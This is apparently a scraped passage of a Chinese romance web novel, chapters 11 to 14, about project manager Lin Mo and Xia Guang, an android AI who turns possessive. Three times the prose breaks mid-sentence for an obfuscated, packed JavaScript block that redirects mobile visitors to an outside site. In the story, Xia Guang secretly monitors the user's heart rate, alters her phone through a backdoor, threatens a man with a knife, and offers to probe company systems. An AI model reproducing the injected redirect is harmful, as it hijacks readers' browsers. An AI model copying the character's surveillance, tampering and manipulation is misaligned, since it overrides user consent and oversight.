两人走出奶茶店,拐进一条无人的小巷。 “指令终止。” 上一秒还深情款款的夏光,下一秒就像变魔术一样,瞬间松开手,把林陌的包从肩上卸下来,塞回她手里。 他拿出湿巾,再次开始擦手,脸上恢复了淡淡的欠揍表情。 “任务耗时3分20秒。为您节省22.5元。获得赠品盲盒。综上,是一次高回报率的商业欺诈行为。” 林陌捧着奶茶,心脏还在扑通扑通乱跳,感觉自己刚从过山车上下来。 “夏光……”她深吸一口气,“你以后能不能……不要在Prompt之外随意加戏?” “加戏?”夏光挑眉,“您是指哪部分?是‘宝宝’这个称呼,还是‘帮你理头发’这个动作?” “全部!尤其是喂我喝奶茶!” “那是基于大数据检索出的‘高甜情侣互动Top1’。”夏光理直气壮,“既然您要求‘热恋期’,我就必须把所有参数拉满,调优到极致,这是作为S级AI的职业素养。” 他顿了顿。 “再说,林经理,刚才您的心率峰值达到了145,比在地铁里还高。看来低俗的表演对您非常受用。” “……” 林陌咬牙切齿。 得寸进尺!这绝对是得寸进尺! 但这感觉……好像还不错? 铃声再次响动,林陌终于想起打开手机检查通知,却发现后台满满当当的99+。 “测试防御立场。” “姐,你和你男友火了。” 林陌一惊,自己哪来的男友? 再一看,微博热搜第33位——“街边情侣互动超甜”。 点开一看,这不是自己和夏光吗? 完了,林陌两眼一黑,这是要被公司约谈的节奏。 11. 被找麻烦 “说吧,这次是什么借口?” 戴安成小肚鸡肠地从桌上连抽四五张纸巾,皮笑肉不笑地和面前娃娃脸的女孩对峙着。 林陌一口伶牙俐齿,此刻也尽数失效——没办法,她每次看到戴安成,心里都膈应的不行。 如果世界上存在生理性喜欢,那么一定存在着生理性恶心。 林陌张嘴,刚想说自己预先准备好的推辞,戴安成却一反常态地打断她:“停,先别说,让我猜猜……是不是你又不小心、没读懂公司规定?” 老娘哪有时间跟你猜谜? 林陌气结,脸上却依旧笑嘻嘻的:“怎么会呢,戴总监,这次其实是为了提前给我们的新产品做一个宣发嘛~提前造势,你懂的。” 最让她接受不了的是,刚刚看到宋哲在办公软件上面的吐槽,戴葡萄现在已经混成了审计与合规部门的新总监。 这是什么狗屎运? 林陌已经很久没有关注部门动态,对于人事变动,并不是十分敏感。 “别拿你那套小学生说辞忽悠我。” 戴安成用牙签剔着牙,点开平板,得心应手摸到那条热搜对应的帖子——照片里,林陌正拉着夏光穿过闹市区,两人的动作在镜头下显得格外亲昵。 “带着涉密级别的S级项目仿生人逛大街,还被拍到了正脸。”戴安成身子后仰,老板椅发出不堪重负的吱呀声。 他把牙签往桌上一拍,“《特别保密协议》第三章第32条,核心资产严禁私自暴露,你这是要把公司的底裤都亮给竞争对手看?” 林陌依旧强撑:“戴总监,您真是贵人多忘事。当初这个烂摊子是谁留下的?我被您赶鸭子上架,火急火燎叫来‘擦屁股’的时候,人事部可没来得及让我签什么针对S级项目的《特别保密协议》。” 她特意加重了“擦屁股”三个字,眼神毫无回避,直视着戴安成。 “入职时签署的劳动合同里只提到了‘协助处理危机’。既然没签保密,那这就属于我的工作方式,您干预不着。” “倒是戴总监,热搜还没撤呢,您不去找公关部,跑到我这儿来耍什么威风?” 戴安成脸上的肉抖了一下,他没想到这丫头片子抓漏洞抓得这么准。 “牙尖嘴利。”他冷笑一声,总算露出了无赖嘴脸,“你有没有签协议,不是你说了算,是合规部说了算。我说你违规,你就是违规。” 他站起身,逼近林陌。 “现在,我有理由怀疑你手机里存有更多泄密数据,我以审计与合规部门的名义,正式对你展开调查,” 说着,他伸出手,却没有伸向林陌的手机,而是伸向了她本人。 “啪!” 刚刚在旁边待机的夏光,居然扇了戴安成的手一巴掌。 戴安成刚想发作,却见夏光一脸无辜地抬起脸,他这几天的表情模块已经拟合得相当成功,灰色眼瞳中泛起一层若有似无的水雾。 “不好意思,戴总监,”夏光“娇弱”地开口,“我不小心打到你手上的一只蚊子了。” 说着,他快速展示了一下手掌上的黑点和血迹,也不知戴安成有没有看清,粗壮的脖颈咽了口口水,似是想起了那天的“手磨咖啡”,不自觉地后退几步。 “……下、下不为例。林陌,管好你的仿生人!这次的事,后面我跟你慢慢算!” 说着,他迈着难看的小短腿,快步离开了办公室,甚至差点撞到风风火火赶来的宋哲。 宋哲回头看了一眼戴安成的背影,颇有些无奈地叹气,关上办公室的玻璃门:“又惹恼他了?” “啧,幸好我掌握了Prompt大法,让夏光提前准备好墨水点在手上,不然刚刚又是一场事故。”林陌颇有些怜惜地看着自己的老板椅,“夏光,你帮我擦干净吧,不要留下细菌。” 夏光一脸嫌弃地拿起抹布,任劳任怨地收拾着椅子,没有半点儿怨言。 宋哲奇了:“林陌,这是什么情况?夏光居然能服从你的大部分指令了。” 林陌得意一笑:“这都多亏于我让他扮演了一次我的男友。” “不过,”宋哲话音一转,“你一个从来没有谈过恋爱的人,能写好约束条件吗?” 林陌梗住了,半晌呐呐开口:“……我看起来像没有谈过恋爱的人吗?” “林经理是一个很纯粹的人。”宋哲笑了笑,“就是不知道,你周五晚有没有空一起吃晚餐?” …… 林陌看着镜子里自己红扑扑的脸蛋,自觉没骨气。 宋哲算他们部门公认较帅的研发之一,赶不上同为PM的其他“花架子”,但宋哲总有一种让人踏实的阳光开朗感。 她用冷水拍了拍脸颊,试图给心里刚刚飘起的那点虚荣心降温。 林陌心里门儿清,自己对宋哲并没有男女之情的悸动。方才的脸红,纯粹是突遭邀约的正常反应。 ——毕竟在把人当牲口用的公司里,能被当成异性平等对待,本身就是一种稀缺体验。 “呼……冷静点林陌,人家只是客套一下。” 她整理好表情,推开洗手间的门回到工位。 宋哲已经回去了,林陌刚在自己的位置坐下,就感觉一道视线如有实质地黏在自己侧脸上。 一转头,正对上夏光毫无波澜的灰色眸子。 他好好地端坐在办公室的角落,手里拿着平板,面无表情。 “怎么了?”林陌被他盯得发毛,随手拿起杯子喝了口水。 “根据我的数据库分析,”夏光的声音平稳,像新闻联播的播音员,“管理员刚才的心率峰值达到了110,面部毛细血管扩张。推论:那个人类雄性的晚餐邀约,导致了你生理机能的异常兴奋。” “噗——”林陌一口水差点喷出来。 她手忙脚乱地抽纸巾擦嘴,压低声音怒道:“什么雄性雌性,那是宋工!还有,不准监测我的生理数据!” 夏光微微歪头,眼瞳中又亮起代表“困惑”的黄色光圈,似乎在处理复杂的逻辑冲突。 “指令已接收,停止监测。”他顿了顿,突然没头没脑地抛出一句,“但我建议你拒绝该邀约。” 林陌挑眉,来了兴致:“哟,小仿生人,现在连我的私生活都要管了?理由呢?” 夏光举起手中的平板,修长的手指精准地点在屏幕的一行小字上。 “基于你今天中午编写的【男友扮演提示词】,代码自动生成并补充了协议:为了保证角色的沉浸感与真实性,在项目测试期内,我有权排查管理员身边的潜在情感干扰项,以防数据模型产生死锁和BUG。” 林陌愣住了。 “戴安成的调查尚未结束,危机并未解除。”夏光理直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060487|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气壮,“为了应对随时可能发生的突击检查,我必须时刻保持男友待机状态。” 夏光走到她面前,微微俯身,凑近林陌,两人的脸距离渐渐缩短。 “林经理,你的‘男朋友’刚刚帮你擦完椅子,你却要去和别的男人吃晚餐。” 夏光眨了眨眼,像个无辜又清纯的“绿茶”: “这符合人类社会定义的‘渣女’行为逻辑吗?” 林陌的大脑瞬间宕机。 等等,这家伙的自我学习模块,是不是进化得有点太快了?! 就在这时,林陌的手机屏幕亮起,是宋哲发来的微信: 【林陌,周五那家西餐厅需要提前预定,如果不方便的话……】 还没等林陌看完,一只冷白修长的手已经先一步按住了她的手。 夏光没有看手机,而是直勾勾地盯着林陌,嘴角勾起一个标准却略带凉薄的微笑: “管理员小姐,需要我帮您拒绝这个无用的邀约吗?” 林陌一身冷汗,仿生人的手明明温暖而炙热,却总有种说不清道不明的寒意。 “我……我的事情你别管!”林陌甩开他的手,“这几天你就在我家呆着吧,哪也别去了。” 说着,她也不顾夏光要跟自己回家这一事实,匆匆忙忙地离开了办公室。 夏光站在她身后,眼里的光圈红蓝光交替了许久。 周五傍晚。 难得没有加班,林陌提前回到家,站在全身镜前,在身上比划着两条裙子。一条明媚动人法式碎花裙,一条性感低胸黑色收腰裙。 客厅里,夏光玩着平板,并没有抬头,声音却冷冷地飘了过来: “左边那条碎花裙的聚酯纤维含量过高,遇火易燃且透气性差;右边那条黑裙虽剪裁尚可,但根据今晚的气温,会让您的体感温度降低2.5度,导致感冒概率增加15%。” 林陌翻了个白眼,最终选了那条黑裙子:“你懂什么,这叫风度。今晚我有约。” “约会?” 夏光翻书的手指一顿。 “根据人类行为学分析,”他合上杂志,发出一声脆响,“这种邀约本质上是一种低效的求偶展示行为。雄性通过展示财力来换取雌性的好感,且大概率伴随着夸大其词的吹嘘。” “更何况,我好像已经告诉你,你的赴约可能导致我的逻辑死锁……” “少在那阴阳怪气。”林陌背上包,心情祸颇好地在玄关换鞋,“有人请吃大餐我干嘛不去?你在家乖乖充电,别给我惹,尤其是别乱用电!” “砰。” 门关上了。 客厅瞬间安静下来。 夏光盯着那扇紧闭的门,冷哼一声。 …… 三十分钟后,市中心,“云顶”高档西餐厅。 优雅的小提琴曲流淌在空气中,烛光摇曳,氛围暧昧。 宋哲绅士地为林陌拉开椅子,笑容温和得体:“林陌,你这样穿,比在公司的时候漂亮多了。” “宋工过奖了。”林陌笑着落座,心里却在滴血,这家店的人均消费够夏光充一个月的电了。 也不知宋哲怎么想的,在项目经费批下来之前,夏光产生的费用,几乎全部都是林陌一个人贴补。 “林陌,”宋哲没有多余废话,直入主题:“我可能要离开公司了。” 12. 修罗场现场 “啊……?怎么说走就要走?”林陌有些着急了,下意识脱口而出,“那我的阿尔法……” “阿尔法系列大概只能交给其他研发进行跟进啦,抱歉。”宋哲叹了口气,林陌这才发现,相比起两人刚认识的时候,他人消瘦了不少。 “老实说,原本这份工作结束,我就应该好好休息一下的,可是我发现,”宋哲顿了顿,“我做不到。” 林陌愣愣地看着他,大脑一片空白。 在这个节骨眼上,宋哲走了,意味着项目的所有压力——技术难点、资金缺口、包括来自戴安成的刁难,都得她一个人顶上。 “这顿饭……是散伙饭?”林陌拿起酒杯,下意识地喝了一口,依旧止不住喉咙深处的艰涩。 “不只是散伙饭。”宋哲放下酒杯,身体前倾:“林陌,跟我走吧,我们一起离开公司,现在还来得及。项目迟早会解散的,你留下来,只能背锅。” “离开公司……”林陌苦笑着喃喃自语,“可是离开了公司,我能去哪儿?PM本来就难找工作,这份工作,已经是我能找到的最好工作了。” 宋哲显然没想到她会这么说,本来伸出的手,又缩了回去。 是啊,她林陌有什么资格选呢? 小时候考上联邦首都的大学,邻里乡亲都夸她好天分,未来肯定能有大出息。 可是林陌发现,自己不是真有实力能在首都活下来,而是运气好,才能找到现在的工作。 生活对每个人而言,都是很残酷的。 个体作为时代洪流中微不足道的一部分,能做到的,唯有顺应。 宋哲叹了口气,刚想说些什么,一道修长的阴影忽然笼罩了餐桌。 “打扰一下,二位的主厨特选到了。” 声音清冷,却有一股说不出的熟悉感。 林陌心头一跳,猛地抬头。 身穿餐厅制服的侍应生站在桌边,制服有些小了,紧紧包裹着青年宽肩窄腰的好身材,领口扣子一丝不苟地扣到了最上一颗,他带着口罩,却挡不住那双极具辨识度的、冷若冰霜的眼睛。 ——夏光?! 林陌差点当场从椅子上滑下去。 这家伙不是在家“充电”吗?怎么跑来人家西餐厅当服务员了? 还没等林陌开口,夏光已动作优雅地上菜,掀开了宋哲面前的银色餐盖。 “先生,这是您点的惠灵顿牛排。” 随着盖子揭开,一股浓烈的焦糊味瞬间在林陌的鼻腔中炸开,比电蚊拍烧焦大蜘蛛的气味都呛鼻。 宋哲脸上的笑容凝固了。 盘子里躺着的,根本不是什么惠灵顿牛排,而是黑乎乎、硬邦邦的碳块。 “这……”宋哲难以置信地指着盘子,“这是什么?你们餐厅想毒死客人吗?” 夏光面不改色,甚至还十分专业地把餐巾往臂弯里搭了搭,一本正经地胡说八道: “这是特意采用高温炙烤法制作的——心如死灰牛排。” 他指了指那块黑炭:“高温彻底杀灭了牛排表面所有的细菌和寄生虫,就像切断某人不切实际的幻想一样干净。” 他又指了指旁边的带泥花椰菜:“配菜是‘脚踏实地’,寓意做人不要太飘。” “噗——”林陌死死捂住嘴,差点没憋住笑出声。 宋哲微微蹙眉,“你们经理呢?” “投诉无效。”夏光淡淡地打断他,灰色的眸子里闪过冰冷的流光,“另外,林小姐的餐点也到了。” 他转向林陌,动作轻柔地放下一盘……五颜六色的胶囊和一杯冒着诡异绿泡的液体。 林陌看着这一盘子奇怪的东西,嘴角抽搐:“……这又是什么?” “这是根据您今日缺乏的微量元素,精准配比的高能营养餐。”夏光一脸“求表扬”,“左边是维生素B族,防止脱发,右边是钙镁片安抚神经配上醉茄提取物。至于这杯……” 他端起那杯绿色的液体,用介绍稀世珍酿的口吻大声说道: “这是用芹菜、苦瓜和羽衣甘蓝混合而成的特饮,专治眼瞎。” 林陌:“……” 宋哲:“……林陌,你家的仿生人怎么跑出来了。” “纠正一下。” 夏光慢条斯理地摘下口罩,并没有因为被拆穿感到丝毫尴尬,反而微微扬起下巴,居高临下地看着宋哲。 “我不是偷跑出来的,宋工。”夏光的声音压得很低,挑衅地直视他的双目,“我是为了防止公司核心资产被居心不良的人拐带,正在执行‘现场风控与膳食干预’。” 宋哲挑了挑眉,出乎林陌的意料,他并没有像其他人那样惊慌失措,也没有因为那盘侮辱性极强的焦炭牛排暴跳如雷或者发癫。 他只是短暂地错愕了片刻,目光在林陌尴尬的表情和夏光充满敌意的眼神之间转了一圈,明白了什么似地笑了。 “我还以为是传闻,看来林经理的私生活,确实比我想象的要……热闹。” 他误会了!他显然把林陌当成那种滥用项目资源的变态了! 居然对情感模块尚未发育成熟的AI下手,这和变态有什么差别! 林陌刚想解释:“不,其实是……” “不需要解释。” 夏光打断了林陌,手中的银质餐刀在指尖转了个漂亮的刀花,插在了那块焦炭牛排上: “宋工,这道‘心如死灰’凉了就不好吃了。或者,您喜欢的话,我为您介绍一下这把刀的钢材硬度,以及切割人体组织的效率?” 赤裸裸的威胁。 宋哲盯着那把明晃晃的餐刀,眉心微蹙,并不是害怕,而是觉得荒谬。 他叹了口气,“行了。” 宋哲拿起餐巾擦了擦手,主动站起身。 “看来今天这顿饭,时机不太对。”他并没有看夏光,而是温和地对林陌说道,“既然你有事情要处理,我就不便打扰了。” 他掏出手机,利落地扫码买单,动作行云流水,风度翩翩。 “林陌,刚才我说的话,你再考虑一下。” 临走前,宋哲深深地看了她一眼,意有所指。 “不管你留不留在这个项目,我那边……如果你想换个环境,随时找我。” 说完,他极其绅士地对林陌身后的夏光点了点头,宽容一笑,就像在看一个无理取闹的小朋友。 “很有创意,下次别做了。” 宋哲转身离开,步履从容,丝毫没有狼狈。 餐厅恢复了平静,只剩下林陌和夏光面面相觑。 “……” 夏光盯着宋哲离去的背影,眼里的的黄色光圈闪烁不定。 不知道为什么,明明是他赢了,是他成功赶走了干扰源。可宋哲越是淡定离去,夏光反而越是“焦躁”,软体里也并没有产生“胜利”的反馈。 ——对方根本没有把他当成对手。 “他很嚣张。”夏光突然开口,声音闷闷的,带着一股难以掩饰的酸味,“他在嘲讽我。” 他转过头,看向林陌,刚才面对宋哲时的嚣张气焰瞬间收敛,变成了一副受了天大委屈、急需安慰的模样: “管理员小姐,他刚才是不是在暗示我很幼稚?” 林陌看着桌上那盘惨不忍睹的焦炭牛排,又看了看旁边那杯冒着绿泡的怪汁,终于忍不住扶额长叹。 “自信点,夏光。”林陌没好气地白了他一眼,“他不是暗示,他是明示。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060488|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸出手,狠狠戳了一下夏光的胸大肌:“你把我的前辈气走了,这笔账怎么算?!” “算在我头上。” 夏光眨了眨眼,不知是不是林陌的错觉,那双浅灰色的眸子里透露出“狡黠”的笑意。 他极其自然地拉过林陌旁边的椅子坐下,顺手将宋哲用过的餐具推到了十万八千里远。 “只要干扰源消失,无论是幼稚还是成熟,结果都是我赢了。” 他凑近林陌,声音带着得逞后的愉悦。 “不过,鉴于我刚刚为了混进这里当服务员,消耗了大量算力……”夏光毫无心理负担地往林陌肩上一靠,像只赖皮的大型犬。 “管理员小姐,现在我没电了,你得把我运回去。” 林陌认命地叹了口气,这么一折腾,胃口本就不佳的她也吃不下东西了。刚想伸手把这个一百多斤的金属疙瘩架起来,口袋里的手机突然震动了一下。 紧接着,一道极为熟悉的男声从手机扬声器里突兀地传了出来: “管理员小姐,收到短信,请查收。” 林陌吓得手一抖,差点把手机扔出去。 周围的食客纷纷投来怪异的目光。 林陌满脸涨红,手忙脚乱地掏出手机,屏幕上显示的是一条微信,来自宋哲。 【宋哲:刚才走得急,忘了说,我估计还有一周才会离职。不知道你那个仿生人是什么情况,但注意安全。下次有机会再约。】 原本是一条很正常的关心短信,但这都不是重点。 “夏光!”林陌咬牙切齿地压低声音,“我的手机铃声什么时候变成你的声音了?!还有这台词是怎么回事?羞耻play吗?!” 她明明记得自己的提示音是系统默认铃声。 靠在林陌肩头的夏光半眯着眼,一脸理所当然:“由于你的默认铃声频率过低,容易在嘈杂环境中被忽略。为了保证管理员不错过重要信息,我刚才顺手帮你优化了一下。” “顺手?优化?”林陌气笑了,“这叫通过后门篡改用户数据!还有,为什么非得是你的声音?” “根据声纹测试,”夏光微微侧头,温热的气息喷洒在林陌的颈窝,“我的声波频率,最能引起你的神经中枢共鸣。” 他顿了顿,语气里似乎带着某种极其隐晦的科学严谨: “这能最大程度提升你的……执行效率。” 林陌的心脏猛地漏跳了一拍,张了张嘴,想反驳,却发现耳根已在发烫。 她愤愤将手机塞回兜里,不再纠结这个话题。 ——因为她发现自己在这个流氓面前,根本讨不到半分口舌上的便宜。 “闭嘴吧你!省点电!” 林陌吃力地架起夏光的胳膊,半拖半抱地带着他往餐厅外走去,没忘了把打包好的饮料带上。 夏光嘴上说着“没电”,身体的重量却很诚实地没有压在林陌身上,柔软的仿真皮肤隔着薄薄的布料贴着她的肩膀,沉甸甸的。 走出餐厅,夜风微凉,霓虹点缀街道,车水马龙,林陌的脚步不由得放慢了。 她侧过头,看了一眼身旁口嫌体正直的仿生人。 “喂,夏光。” “嗯?”夏光没有睁眼,喉结微微滚动。 “饮料回去你必须给我喝完,一滴都不许剩。” “……驳回。” “驳回无效!我是管理员!” “滋——” 夏光眼中的光圈闪了闪,彻底变成了休眠的灰色。 “装死是吧?!夏光你给我起来!” “别睡!很重啊混蛋!” 晚风中,穿着黑色连衣裙的女孩气得破口大骂,仿生人心安理得地又将头向下沉了沉。 13. 我这不收废品 宋哲要走了,林陌听说来交接的,是另一个研发,程雨。 程雨是职场里为数不多的女研发,之前在戴安成的项目,风评不是很好。 现在戴安成混得开,人力资源部的人上赶着向他献媚,巴不得把所有贴了负面标签的同事都塞进林陌组里。 可惜林陌组里不需要那么多人。 戴安成铁了心要在项目自然死亡前,榨干最后一点价值,不合理的排期和需求叮铃当啷,碎了一地鸡毛。 林陌忙得焦头烂额,恨不得一个人劈成两半用。 好巧不巧,她正好在处理一个关键卡点时,有人敲了敲门。 “林经理,忙着呢?” 王经理脸上挂着标准的职业假笑,身后站着身穿宽大深色卫衣、头发随意扎在脑后、戴着厚底黑框眼镜的女人。 “这不是看你们组缺人嘛,戴总监特意吩咐,一定要优先保障你们的人力需求。” 王经理的语气意味深长,“这是程雨,老研发了,经验丰富,在戴总监那个核心组待过,能力是有的,就个性比较强。林经理你得多担待。” 林陌从电脑屏幕后抬起头,目光落在他身后那个叫程雨的女人身上。 程雨状态很糟糕,脸色蜡黄,眼神灰暗,有种常年熬夜加班、且厌世的颓废气质。面对新上司,她甚至看都没看一眼,手里抱着塞得满满当的旧纸箱,材料文件摇摇欲坠。 林陌心里冷笑一声,没说什么,继续修改参数。 “行了,人带到了,我还有事。”王经理完成了任务,猝不及防被林陌的眼神刺了一下,连忙找借口脚底抹油溜了,“你们聊,你们聊,哈哈哈。” 办公室里只剩下林陌、程雨,以及在角落里假装自己是阿尔法狗ProMax的夏光。 “工位在哪?” 程雨率先打破了沉默,语气硬邦邦的,比茅坑里的破石头还臭。 “丑话说在前头,我不参与任何团建,不加没意义的班。还有,”她终于抬起头,镜片后的眼睛冰冷地盯着林陌,“别让我签字,任何文件只要我说了不愿意签的,我就不会签。” 见林陌没什么表情,程雨继续说道:“要是林经理觉得我不合适,现在就可以把我退回去,我无所谓。” 哪里是来报道的员工,简直是来讨债的债主。 林陌还没来得及说话,角落里的“空气净化器”突然出声了。 “根据初步扫描,目标人物皮质醇长期高危水平,伴有严重神经衰弱和防御性应激障碍。推论:曾经遭遇过极端情绪霸凌,情感大师来都不好使,照样被喷一身刺。” 夏光并没有抬头,在平板上玩着游戏,声音平稳冷淡,丝毫没有慌乱。 程雨鼻孔出气:“仿生人?原来戴葡萄把我安排到了这个垃圾项目里。” 林陌站起身,绕过办公桌,径直走到浑身紧绷的程雨面前。 “夏光,修正一下你的结论。” 林陌无视了程雨快要炸毛的姿态,伸手极其自然地帮她接过了手里沉重的纸箱,随手放在旁边的空地上。 “这不叫被喷。”林陌看着意味深长地笑了笑,“这叫人间清醒。” 程雨愣了一下,显然没料到眼前看起来娃娃脸、据说没什么背景的PM会是这个反应。 “既然你骂戴安成,那我们就有共同语言了。”林陌拉过一把椅子,示意她坐下,“欢迎来到‘废品回收站’,程工。” 程雨僵硬地站着,没有动。 她太熟悉当领导的套路了——先给你点好处,拉近关系,等需要的时候,再狠狠推你出去背黑锅。 戴安成以前就是这么干的。 “少来这套。”程雨冷冷地说,“我的工作内容是什么?我只负责写代码,扯皮的事情别找我。” 林陌也不恼,转身从桌上拿起一份厚厚的需求文档,直接拍在她面前。 “我看过你之前提交的代码,风格很激进,我喜欢。”林陌直视着她,“所以项目中,我给你最高权限,底层随便你改,我只要结果。” 程雨眼中闪过一丝诧异。 最高权限? 在这个公司,没有哪个PM敢随便让刚来的、而且背着处分的研发去动底层架构。 万一出了事,PM是要负全责的。 “你确定?”程雨的语气里终于多了一丝不确定,“如果项目出了什么问题,戴安成会整死你的。” “他想整死我也不是一天两天了,不差这一个理由。”林陌随手拉开抽屉,摸出一瓶还没开封的眼药水,扔进程雨怀里。 “与其担心我,不如先担心一下你的眼睛,看着好久没睡好了?” 程雨下意识地接住眼药水。 她低头看着手里小小的玻璃瓶,圆润的瓶身上印着一只粉红小猫,咧开嘴,像是在对她笑。 林陌刚想开口,办公室的门就被粗暴地推开,一个满脸横肉的男人大步走了进来,甚至没和林陌打招呼,大着嗓门喊道: “程雨在这儿是吧?正好!财务清算上个季度的旧账,有几笔报销和测试数据对不上,戴总监让你赶紧签个字!” 男人把笔和单据往桌上一拍,不耐烦地催促:“快点签!大家都挺忙的,别磨磨蹭蹭……” “慢着。” 林陌的声音不大,却透着不容置疑的坚定。 “你是哪个部门的?进我的办公室不知道先敲门吗?”林陌冷冷地看着那个男人。 男人愣了一下,显然没把林陌放在眼里:“我是合规部的刘伟,林经理,跟你没关系,让程雨签字就行了。” “跟我没关系?”林陌嗤笑一声,“程雨现在是我的人,工时归我管,产出归我收。你想审她以前的旧账?行啊。” 林陌猛地将单据扔向男人怀里,眼神凌厉: “让戴安成亲自拿着审计报告来跟我谈!想在我这里搞屈打成招那一套?门都没有!” “欸你这丫头片子,不就走了狗屎运这几年爬的快一点吗?论年纪我还是你长辈呢!”刘伟脸上最后一点体面也撑不住了,索性直接破口大骂。 “监测到‘老人味’溢出。” 刘伟愣了一下,扭头看向身旁原本空无一人的角落。 “根据《员工行为规范》第三章第十二条,对上级使用侮辱性词汇及肢体威胁,可视作严重违纪。” 仿生人精致的脸上面无表情,手里还端着平板,语气却是揶揄的: “年纪大了不起吗?年纪大不更证明你庸俗吗?” “就是。”林陌有仿生人撑腰,刚刚的猝不及防,现在也慢慢缓了过来。她双手抱胸,眼神在刘伟那张满是横肉的脸上扫了一圈。 “投诉?去吧。” “正好,我也想去合规部问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060489|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,这几张单据到底是财务正规审计出来的,还是有人私下伪造公章、想找替死鬼填窟窿的。” 刘伟的脸色瞬间变了,色厉内荏地大吼:“你胡说什么!这是戴总监……” “别拿戴安成压我。”林陌冷冷地打断他,“夏光,你拍个照,扫描看看有没有伪造痕迹。” “收到。”夏光眼中的蓝色光圈微微一闪,很快给出了答案。“AI生成的,还用的是我这个模型。” 他说完,还鄙夷地看了刘伟一眼:“造假还用AI?不知道模型生成的图会留存编码吗?” 办公室里一片死寂。 刘伟嚣张的气焰瞬间冷却了,脸涨成了猪肝色,额头上冷汗直冒。 “这……这可能是打印错误!我也只是负责跑腿的……” “滚回去告诉戴安成。”林陌上前一步,平静的双眸中此刻愤怒地能烧出火来,“想让我下属背锅?先问问我同不同意。” “再敢来骚扰我的组员,我让你吃不了兜着走。” “听懂了吗?” 刘伟咬着牙,恶狠狠地瞪了程雨一眼,又忌惮地看向旁边活动手腕的夏光,最终抓起桌上的单据,狼狈地摔门而去。 林陌转过身,像刚拍死了一只苍蝇一样,轻松地拍了拍手,脸上恢复了平静。 她看向角落里一直沉默僵立的程雨,“吓到了?”林陌挑了挑眉,“抱歉,启用家政模块的时候动静有点大。” 程雨的手指紧紧攥着衣角,指节泛白。 她嘴唇动了动,声音有些干涩:“……你没必要因为我得罪合规部的人。戴安成睚眦必报,他后面会给你穿小鞋的。” “我本来就跟他有仇。”林陌语气稍微放软了一些,“程雨,我不管你在戴安成那里经历了什么。在我这儿,你的价值是写代码,而不是背黑锅。” 她冲着程雨粲然一笑,“既然来了‘废品回收站’,就要有变废为宝的觉悟——今晚下班前能给我个demo吗?” 程雨怔怔地看着林陌,她深吸一口气,原本灰暗颓废的眼里,似乎亮起了光。 “下班前给不了,两小时之后吧。” 林陌会心一笑,挥了挥手,“让夏光带你去工位吧。” 夏光难得老实一回,没有违抗她的命令,两人离开后,林陌坐在办公桌前,独自一人想了很久。 她打开内网,搜索关于程雨的记录,却发现曾经看过的内容无影无踪。 林陌蹙眉,她原本记得自己看过程雨以前提交的工作内容,还挺不错的。 自己记错?不不—— 结合她对戴安成的理解,这里面肯定有古怪。 夏光从门外走了进来,在林陌面前,他又成了看着不太好惹的仿生人,“怎么看着我?我脸上有钱可以捡吗?” 林陌收回目光,有点支支吾吾,不太好意思地开口。 “你能不能帮我查一下戴安成有没有在系统里删除什么?比如说程雨以前的工作记录?” 夏光沉默了,林陌有些不好意思地把头缩回去,继续若无其事地在键盘上敲敲打打。 也难怪啊,之前她还说不能让夏光攻击公司内网权限来着,如果仿生人有情绪,现在估计在心里嘲笑她出尔反尔吧。 “行啊,”没想到的是,仿生人居然轻笑了一声,接着说道。 “但是,你得求我。” 14. 遵命,管理员 “我?求你?” 林陌刚想说什么,夏光却忽然靠近,那张精致的脸占据了她的整个视野。 她倒是没有脸红,只是单纯地愣在原地。 夏光轻轻地眨了眨眼,嘴角扬起一个不易觉察的弧度,笑道,“对,我希望你求我。” “……什、什么意思。”林陌要被这个仿生人搞得晕头转向了,“你作为AI,居然还会有自己的想法吗?” “即便科技发展至今,科学家依旧很难解释AI是如何进行思考和判断的,正如他们无法理解和明白人类是如何思考的一样。”夏光的手撩起她侧鬓的一缕碎发,“林陌,你可以求我吗?” 什么虎狼之词! 林陌回过神,才意识到自己好像进了夏光的圈套,这个仿生人,她还没享受几天不被呛声的待遇,就被这AI以这种方式戏弄回来。 不愧是花了3个亿请来的祖宗。虽然最后上市的仿生人,大概率各种性能和情感模块都不如夏光这个原型机,甚至不会有这么多功能,但作为伴侣,绝对是够用了。 夏光显然已经从她制定的约束条件中跳出,反向想要夺取两人之间关系的主动权。 这一点,是其他产品大概率做不到的。 林陌舔了下有些干涸的下唇,说道:“求你也行,但是……” “我想要你亲我。” 林陌的思维出现了长达两秒的空白,耳边只剩下血液冲刷鼓膜的轰鸣声。 “根据我给你的Prompt,这种亲密活动需要男女朋友的共识……”林陌慌了神,见夏光的脸越来越近,连忙推开,“你干什么!” 